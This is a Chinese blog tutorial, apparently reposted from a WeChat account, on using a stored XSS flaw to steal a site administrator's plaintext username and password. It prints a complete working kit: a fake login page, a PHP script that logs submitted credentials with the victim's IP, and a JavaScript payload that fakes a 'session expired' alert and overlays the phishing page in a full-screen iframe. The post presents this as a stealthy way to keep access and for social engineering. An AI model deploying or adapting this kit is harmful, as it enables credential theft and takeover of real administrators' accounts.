昨天为了引流标题党了~还是低调点好...感谢各位老哥的指正和支持,修改了以下重新发
0x00 前言
本文所讲的知识点很早就有,只是因为最近小伙伴讨论的比较多,而且很多小伙伴不太明确流程,故有了此文,大佬请忽略
xss大家都不陌生,最常用的就是打管理员的cookie然后拿到后台权限。
但是在实战过程中会碰到很多因素导致无法获得权限或者权限维持困难,下面列举了三点。
随着开发者安全意识的提高,现在基本上都是开了httponly了,也就是说xss无法读取到cookie了(除了包含登录信息外的cookie一般还是可以获取的),这是其一。
cookie具有时效性,比如说获取到的cookie过期了,而管理员又没有进行第二次登录并触发的情况下,你的权限就掉了,这是其二。
xss漏洞已修复,并且之前的代码已被删除或者无法触发(比如说xss在一个留言处,当后面有很多留言时,你的代码可能就到下一页去了,管理员也一般不会去翻,也就不会触发),这是其三
所以本篇文章就来介绍通过xss来获取管理员的账号密码,实现权限的维持,而且获取了账号密码,用途还有很多,比如说社工。
0x01 流程
打字描述不太直观,直接上一个流程图
0x02 准备工作
根据流程图中所展示,我们需要一个钓鱼页面(高仿原登录页面)和一个数据接收文件。为了简单明了的演示,这里准备了以下文件:
admin_login.html //原管理登录页面
admin_index.html //原管理后台页面
fish.html //我们高仿的登录页面,也就是钓鱼页
get.php //数据接收文件
xss.js //xss的payload
代码量很小,我在这里直接贴出来
//admin_login.html 原管理登录页面
<html>
<body>
<head><title>管理员登录</title></head>
<form method="post" action="http://xxx/x.php">
用户名:<br>
<input type="text" name="username">
<br>
密码:<br>
<input type="text" name="password">
<br><br>
<input type="submit" value="登录">
</form>
</body>
</html>
//admin_index.html 原管理后台页面
<html>
<body>
<head><title>管理员后台</title></head>
<h1>这里是管理员后台,你已成功登录</h1>
<button type="button">一键日卫星</button>
<hr><b>最新留言</b>
<ul>
<li>说书人长得好帅</li>
<li>楼上说得对<script src= "http://127.0.0.1/xss.js"></script></li>
</ul>
</body>
</html>
//fish.html 我们仿的登录页面,也就是钓鱼页
<body>
<head><title>管理员登录</title></head>
<form method="post" action="http://127.0.0.1/get.php">//这里发送给接收程序
用户名:<br>
<input type="text" name="username">
<br>
密码:<br>
<input type="text" name="password">
<br><br>
<input type="submit" value="Submit">
</form>
</body>
</html>
//get.php 数据接收文件
<?php
$line = '----------------------------------'."rn";
$user = '账号:'.$_POST['username']."rn";
$pwd = '密码:'.$_POST['password']."rn";
$ip = 'IP:'.getenv('REMOTE_ADDR')."rn";
$url = '钓鱼模板:'.getenv('HTTP_REFERER')."rn";
$date ='日期:'. date("Y-m-d")."rn";
$result = $line.$url.$user.$pwd.$ip.$date;
file_put_contents('good.txt',$result, FILE_APPEND);
header("Location: http://127.0.0.1/admin_index.html");
?>
//xss.js xss的payload
setTimeout(function() {
alert("登陆过期,请重新登陆!");
parent.document.writeln("<iframe style="margin:0px;padding:0px;height:100%;width:100%;" src = "127.0.0.1/fish.html" frameBorder=0 scrolling=no></iframe>");
setTimeout(function() {
document.getElementsByTagName("body")[0].setAttribute("style", "margin: 2px;");
},
100);
setTimeout(function() {
parent.document.getElementsByTagName("body")[0].setAttribute("style", "margin: 0px;");
},
100);
},
600000);
0x03 本地演示
首先管理员登录后台后,xss触发了,弹窗提示登录过期,需要重新登录
然后出来的是iframe的钓鱼页面,注意地址没有跳转到我们的钓鱼页面url
管理员输入完账号密码后,又跳转回真实的后台页面,由于登录信息并没有失效,所以刚刚的登录仿真度极高。于此同时,我们的接收程序已经将管理员账号密码保存到了我们的钓鱼服务器上
0x04 结尾
xss.js的第14行的600000指的是每10分钟执行一次,符合一般的过期规则,大家也可以自行修改。由于仿真度极高,不易察觉,所以权限维持率高。
觉得有用的可以在右下角点个“在看”
本文始发于微信公众号(台下言书):【超详细入门教程】通过xss获取管理员明文账号密码
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论